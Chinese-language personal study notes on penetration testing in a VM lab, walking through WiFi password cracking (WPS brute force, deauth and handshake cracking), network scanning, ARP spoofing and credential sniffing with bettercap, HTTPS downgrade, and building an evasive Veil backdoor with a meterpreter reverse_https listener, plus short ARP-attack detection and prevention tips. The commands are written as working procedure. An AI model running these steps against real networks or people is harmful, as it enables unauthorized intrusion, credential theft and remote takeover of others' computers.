資訊安全/滲透測試

前言

以下是我在網路上學到的對資安有幫助技能與觀念,在這邊整理一下學習過程
主要藉由了解如何”實際”進行網路攻擊,從而理解哪些地方可能會有資安疑慮

事前準備

1.VM軟體:

VMware或VirtualBox都行

2.kali linux:

在VM上執行，扮演攻擊者的角色

kali官網：https://www.kali.org/get-kali/#kali-platforms

3.Metasploitable:

在VM上執行，扮演受害者的角色

Metasploitable VM下載點:https://sourceforge.net/projects/metasploitable/

4.Win10:

在VM上執行，扮演受害者的角色

Win10 VM下載點:https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/

5.USB無線網卡:

如果可調整成Monitor模式，可以實作破解WIFI密碼手法，
這邊紀錄的網路攻擊，都是建立在攻擊方與受害方在同個網路之下為前提
不能調整成Monitor模式的話也沒關係，畢竟用VM和USB無線網卡，模擬測試時攻擊者和受害者一定會在同個網路底下

WIFI密碼破解，無Monitor模式請略過

檢查有無支援Monitor模式

1.在VM開啟kali linux後,插入USB網卡 使用「iw list」，確認有無支援Monitor模式

iw list

修改網卡Mac的方式 (可省略)

1.插入Usb無線網卡，並使用ifconfig指令，確定有出現wlan 如圖我出現的是wlan0

2.修改Mac號碼的方式 Step1.停用網卡

ifconfig wlan0 down

Step2.設定新的Mac號碼

ifconfig wlan0 hw ether 00:11:22:33:44:55

Step3.起用網卡

ifconfig wlan0 up

設定為監聽模式

iwconfig

iwconfig

ifconfig wlan0 down

ifconfig wlan0 down

airmon-ng check kill

airmon-ng check kill 

iwconfig wlan0 mode monitor

iwconfig wlan0 mode monitor

ifconfig wlan0 up

ifconfig wlan0 up

ifconfig wlan0 down

ifconfig wlan0 down

監聽模式下-偵測周圍網路

使用airodump可以監聽周圍WIFI 監聽2.4G頻寬的WIFI指令

airodump-ng wlan0

監聽5G頻寬的 WIFI

airodump-ng --band a wlan0

監聽5G和2.4G頻寬的WIFI

airodump-ng --band abg wlan0

指令成功後，大概會長這樣

WIFI加密的意義

監聽特定WIFI的，並將其封包內容儲存到檔案中

airodump-ng --bssid MacNo --channel 149 --write FilePath wlan0

使用ls可以看到剛剛儲存的檔案

使用Wireshark開啟剛剛另存的Cap檔

開啟Cap檔後，可以看到傳輸內容，但內容已經過加密

WIFI密碼破解,by WPS功能

使用指令確認WPS功能是否開啟，並找到Bssid

wash --interface wlan0

使用aireplay建立關聯性

aireplay-ng --fakeauth 30 -a Source_Mac -h Target_Mac wlan0

使用reaver暴力破解WPS PING 備註:這部分會需要等待一段時間

reaver --bssid Target_Mac --channel 5 --interface wlan0 -vvv --no-associate

WIFI密碼破解,by handshake

每當有人連上WIFI時,路由器基於handshake協定發送封包，主要建立彼此的連線，
這邊則在監聽指定WIFI，透過監聽封包來獲取能夠建立連線封包資訊

可以使用airodump監聽特定WIFI，並將其監聽結果解入到特定檔案中，指令如下

airodump-ng --bssid MacNo --channel 5 --write handshake_File wlan0

也可以使用deauth指令斷開某個設備與路由器間的網路連線
這邊發送4個封包,會馬上斷開,馬上重新連線，所以體感不會有甚麼感覺，但如果設定太大會讓人查覺到網路有異常

aireplay-ng --deauth 4 -a 路由器Mac -c 目標設備Mac wlan0

使用crunch指令,將密碼組合排列產生到檔案中
如下指令意思是,使用「a,b,c,1,2,3」組成3碼到8碼字串,並將這些可能的組合儲存到textP.TXT中

crunch 3 8 abc123 -o textP.TXT

最後，需要使用aircrack，能利用handshake_File.cap與textP.TXT進行暴力破解密碼

aircrack-ng handshake_File-01.cap -w textP.TXT

破解成功後,百分比就會停止了

尋找同個網路下的連線

在kali linux透過指令找到所有有連接到WIFI的設備 1.透過ifconfig指令,確認kali的網路設備的IP

ifconfig

2.搜尋「與USB網卡(Wlan0)在同個網段的所有設備」
我這邊的要找的是有連到192.168.50.1到192.168.50.254，使用的指令與結果如下

netdiscover -r 192.168.50.1/24 -i wlan0

3.安裝NMPA或ZENMAP，用來獲取設備資訊
ZENMAP為NMPA的GUI介面

ZENMAP

Ping scan

對Target的設備發出Ping 指令，獲取該設備的Mac Address與供應商
例如我想搜尋192.168.50.1到192.168.50.254的所有設備，所以在Target打的是192.168.50.1/24

Quick scan

資訊的詳細程度,在Ping scan之上,還多顯示了Port的狀態

Quick scan Plus

資訊的詳細程度,在Quick scan之上,還多顯示了Port的所對應到的服務內容、是甚麼設備、及其作業系統等等

使用ARP欺騙攻擊

連線示意圖

使用一般的指令來建立連線

要進行ARP欺騙,首先會需要知道目標IP
這邊開啟我準備了另一個Win10透過，先透過「arp -a」來直接獲取需要的IP:192.168.248.129

在Kali開啟”兩個”cmd視窗，使用arpspoof開始模擬ARP欺騙攻擊

arpspoof -i eth0 -t  偽裝IP 目標IP

在上述指令執行後，在Win10系統的CMD執行一次「ARP -a」
可以明顯看到MAC的變化

最後如果Kali電腦沒有執行轉發指令,會導致一般User無法收到路由器的Request而無法正常上網

echo 1 > /proc/sys/net/ipv4/ip_forward

使用bettercap套件來建立連線

啟動bettercap

bettercap  -iface eth0

透過進行bettercap「ARP欺騙攻擊」的方式

set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.248.129 
arp.spoof on

可以將指令打在文字檔,並另文為cap檔 (檔案存在root底下比較容易直接呼叫執行) 做成腳本來執行指令

透過cap檔執行的指令

bettercap -iface eth0 -caplet spoof.cap

使用net.sniff模組的功能

net.sniff on

可以用來監聽/解析封包，如果搭配「ARP欺騙」攻擊，可以知道用戶端瀏覽網頁的操作狀況
如果瀏覽的網頁是http 甚至可以直接擷取到輸入的帳號及密碼

在kali開啟網路熱點來建立連線

讓其他電腦使用kali建立的熱點進行網路連線，也能讓連線狀態變成這樣

而kali在中，就能直接透過WIRESHARK分析，擷取所有User所進行網路操作資料 下圖為kali建立的熱點時的樣子

https降級攻擊

>將https網頁 降級成 http網頁

降級原因：與其解析https的數據，不如將https降為http，解析http較為方便

攻擊前置作業：使用bettercap套件來建立連線 or 使用一般的指令來建立連線

執行net.sniff.local，用來偽裝成本地電腦，以便顯示本地電腦從http網頁中輸入的帳號密碼

set net.sniff.loacl true

使用hstshijack可以將用戶端瀏覽的Https網站降級成Http網站

依每個網站的安全姓，當然不見得每個網站都會見效

hstshijack/hstshijack 

小記1:有些網站在降級之後無法顯示網頁是因為本地有設置HSTS，強迫這網頁一定只能用Https進入

小記2:如果使用"一開始就不是Https連線的瀏覽器"，就能解決「小記1」的問題（怪不得有些軟體會強制安裝新的不明瀏覽器

WIRESHARK 網路分析器

偵測「ARP欺騙攻擊」的方式

下載XARP

載點

開啟XARP就會監聽IP及MAC，受到攻擊時就會跳出異常通知

### 下載WIRESHARK 載點
開啟WIRESHARK，並勾選ARP Request 偵測

首頁會顯示每個網路口的流量

選擇要對應的網路口後，開始監測

監測時，若受到ARP攻擊，可以從分析資訊中看到跟ARP有關的警告字串

小記 ARP攻擊的手法，會與「arp -a」這個指令所看到的Phtsical Address(Mac號碼)息息相關
如果Type為Daynamic，會讓Phtsical Address可以被人竄改，進而造成ARP攻擊成功 如果Type為Static，將不允許Phtsical Address進行變更，雖然得手動配置網路，但是可以不用擔心受到ARP攻擊

預防「ARP欺騙攻擊」的方式

1.使用VPN ,付費,資料不會被後台看到,就算看到了被加密過的資料,VPN廠商有心的話，可以看到原始資料，所以要慎選廠商 2.使用Https Everwhere =>免費,但僅適用於那些被降級成http的原https網站 3.上述兩者可以一起用,不衝突,安全程度會上升

用來幫助網管追蹤網路的工具

測試攻擊Metasploitable系統

安裝完Metasploitable後，可以使用ifconfig得到一個簡單的Server的IP

使用ZENMAP來找這個Server開放的Port

生成不會被發現的後門文件

測試生成1個後門文件，讓對方連進我們的Kali電腦中，藉此取得對方電腦控制權

安裝在Kali中安裝Veil Framework

安裝成功後，輸入Veil會產生的畫面

生成後門文件

Step1.list

list 

Step2.使用Evation

use 1 

Step3.list

list

Step4.第15項,建立反向連結檔案

use 15

Step5.使用options可以看到所有可以設定的項目

options

Step5.使用set Name Value進行設定，設定完再執行一次options，確認是否更改成功

set Name Value

step5.使用generate準備進行生成文件,設定文件名稱,執行完畢後就能到指定路徑看到檔案了

generate

step5.使用msfconsole模組進行,監聽連線

msfconsole

step5.use exploit/multi/handler

use exploit/multi/handler

step5.在設定一次連線,並使用exploit指令進行監聽

set Name Value
set payload windows/meterpreter/reverse_https
exploit

step5.將檔案放在指定路徑，讓受害端可以下載檔案，測試被攻擊如何

step5.使用apache2開啟Server，讓受害端可以進行連線

service apache2 start

step5.開啟Win10 看看能否連上剛剛設定的IP

step5.下載檔案,進行並執行exe

step5.win10執行後,kali就會捕獲到win10的連線

step5.之後就能在kali控制win10的電腦了(使用指令操作win10)

收集資訊的工具-Maltego

XSS攻擊方式

反射型: Reflected-XSS

可以對對方的Server,植入javascript代碼

實際植入的方式可能會向下圖這樣

儲存型: Stored-XSS

在留言板上面,打上javaScript代碼,讓javaScript存進資料庫

這樣每當其他用戶瀏覽網頁時,就能自動運行javaScript

漏洞分析工具

ZAP

使用這個工具可以快速掃描網站可能存在的漏洞